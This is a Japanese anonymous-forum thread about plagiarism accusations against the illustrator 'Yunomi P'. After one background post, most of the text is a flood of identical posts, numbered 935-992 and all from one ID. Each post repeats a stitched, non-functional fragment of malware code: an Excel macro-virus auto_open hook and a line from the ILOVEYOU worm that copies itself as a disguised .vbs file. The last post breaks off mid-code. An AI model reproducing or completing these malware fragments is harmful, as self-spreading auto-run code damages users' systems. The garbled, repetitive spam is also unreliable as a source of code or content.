初音ミクPVで有名な「ゆのみP」が有料素材盗用★36 - 1296552439

1：番組の途中ですが名無しです：2011/02/01(火) 18:27:19 ID:I47LkHzI: 前スレ
初音ミクPVで有名な「ゆのみP」が有料素材盗用★35
http://jbbs.livedoor.jp/bbs/read.cgi/internet/7847/1291978560/

経緯
・2chヲチ板パクヲチスレにて、ニコ動に投稿されたボカロ曲PVに使用されている
　ゆのみP作イラストが他人のイラストからのパクリトレスであることが発覚
・同人イラスト集に収録されているイラストの一部に有料写真素材サイトの写真が
　サンプルロゴを消した状態で貼り付けられていることが判明
・ミュージシャンのアルバムジャケット模写→実はトレス
マイリスト：http://www.nicovideo.jp/mylist/12207166 (2010/8/30削除)
Twitter：http://twitter.com/yunomi_imonuy
検証用ロダ
http://loda.jp/yunomip/
検証画像の一部
http://or2.mobi/data/img/1815.jpg
http://or2.mobi/data/img/1816.jpg
http://or2.mobi/data/img/1817.jpg
http://or2.mobi/data/img/1822.gif
パクラレ元
風船：最安値　13,650円
http://imagenavi.jp/search/detail-i.asp?id=10933921
うさぎ：最安値　6,300円
http://imagenavi.jp/search/detail-i.asp?id=00002338
♂：最安値　13,650円
http://imagenavi.jp/search/detail-i.asp?id=10911552

まとめサイト
http://www26.atwiki.jp/yunomip/pages/1.html
http://www.nicovideo.jp/watch/sm11588910
935：番組の途中ですが名無しです：2012/01/31(火) 22:42:34 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
936：番組の途中ですが名無しです：2012/01/31(火) 22:43:05 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
937：番組の途中ですが名無しです：2012/01/31(火) 22:43:36 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
938：番組の途中ですが名無しです：2012/01/31(火) 22:44:07 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
939：番組の途中ですが名無しです：2012/01/31(火) 22:44:38 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
940：番組の途中ですが名無しです：2012/01/31(火) 22:45:09 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
941：番組の途中ですが名無しです：2012/01/31(火) 22:45:42 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
942：番組の途中ですが名無しです：2012/01/31(火) 22:46:13 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
943：番組の途中ですが名無しです：2012/01/31(火) 22:46:46 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
944：番組の途中ですが名無しです：2012/01/31(火) 22:47:16 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
945：番組の途中ですが名無しです：2012/01/31(火) 22:47:47 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
946：番組の途中ですが名無しです：2012/01/31(火) 22:48:18 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
947：番組の途中ですが名無しです：2012/01/31(火) 22:48:48 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
948：番組の途中ですが名無しです：2012/01/31(火) 22:49:19 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
949：番組の途中ですが名無しです：2012/01/31(火) 22:49:51 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
950：番組の途中ですが名無しです：2012/01/31(火) 22:50:22 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
951：番組の途中ですが名無しです：2012/01/31(火) 22:50:55 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
952：番組の途中ですが名無しです：2012/01/31(火) 22:51:26 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
953：番組の途中ですが名無しです：2012/01/31(火) 22:51:57 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
954：番組の途中ですが名無しです：2012/01/31(火) 22:52:28 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
955：番組の途中ですが名無しです：2012/01/31(火) 22:52:59 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
956：番組の途中ですが名無しです：2012/01/31(火) 22:53:31 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
957：番組の途中ですが名無しです：2012/01/31(火) 22:54:02 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
958：番組の途中ですが名無しです：2012/01/31(火) 22:54:33 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
959：番組の途中ですが名無しです：2012/01/31(火) 22:55:04 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
960：番組の途中ですが名無しです：2012/01/31(火) 22:55:35 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
961：番組の途中ですが名無しです：2012/01/31(火) 22:56:06 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
962：番組の途中ですが名無しです：2012/01/31(火) 22:56:53 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
963：番組の途中ですが名無しです：2012/01/31(火) 22:57:29 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
964：番組の途中ですが名無しです：2012/01/31(火) 22:58:00 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
965：番組の途中ですが名無しです：2012/01/31(火) 22:58:31 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
966：番組の途中ですが名無しです：2012/01/31(火) 22:59:02 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
967：番組の途中ですが名無しです：2012/01/31(火) 22:59:34 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
968：番組の途中ですが名無しです：2012/01/31(火) 23:00:05 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
969：番組の途中ですが名無しです：2012/01/31(火) 23:00:36 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
970：番組の途中ですが名無しです：2012/01/31(火) 23:01:12 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
971：番組の途中ですが名無しです：2012/01/31(火) 23:01:43 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
972：番組の途中ですが名無しです：2012/01/31(火) 23:02:15 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
973：番組の途中ですが名無しです：2012/01/31(火) 23:02:46 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
974：番組の途中ですが名無しです：2012/01/31(火) 23:03:17 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
975：番組の途中ですが名無しです：2012/01/31(火) 23:03:48 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
976：番組の途中ですが名無しです：2012/01/31(火) 23:04:19 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
977：番組の途中ですが名無しです：2012/01/31(火) 23:04:51 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
978：番組の途中ですが名無しです：2012/01/31(火) 23:05:22 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
979：番組の途中ですが名無しです：2012/01/31(火) 23:05:54 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
980：番組の途中ですが名無しです：2012/01/31(火) 23:06:25 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
981：番組の途中ですが名無しです：2012/01/31(火) 23:06:56 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
982：番組の途中ですが名無しです：2012/01/31(火) 23:07:27 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
983：番組の途中ですが名無しです：2012/01/31(火) 23:07:58 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
984：番組の途中ですが名無しです：2012/01/31(火) 23:08:31 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
985：番組の途中ですが名無しです：2012/01/31(火) 23:09:02 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
986：番組の途中ですが名無しです：2012/01/31(火) 23:09:33 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
987：番組の途中ですが名無しです：2012/01/31(火) 23:10:04 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
988：番組の途中ですが名無しです：2012/01/31(火) 23:10:35 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
989：番組の途中ですが名無しです：2012/01/31(火) 23:11:07 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
990：番組の途中ですが名無しです：2012/01/31(火) 23:11:38 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
991：番組の途中ですが名無しです：2012/01/31(火) 23:12:09 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
992：番組の途中ですが名無しです：2012/01/31(火) 23:12:40 ID:z9m94Fz2: Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub

Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

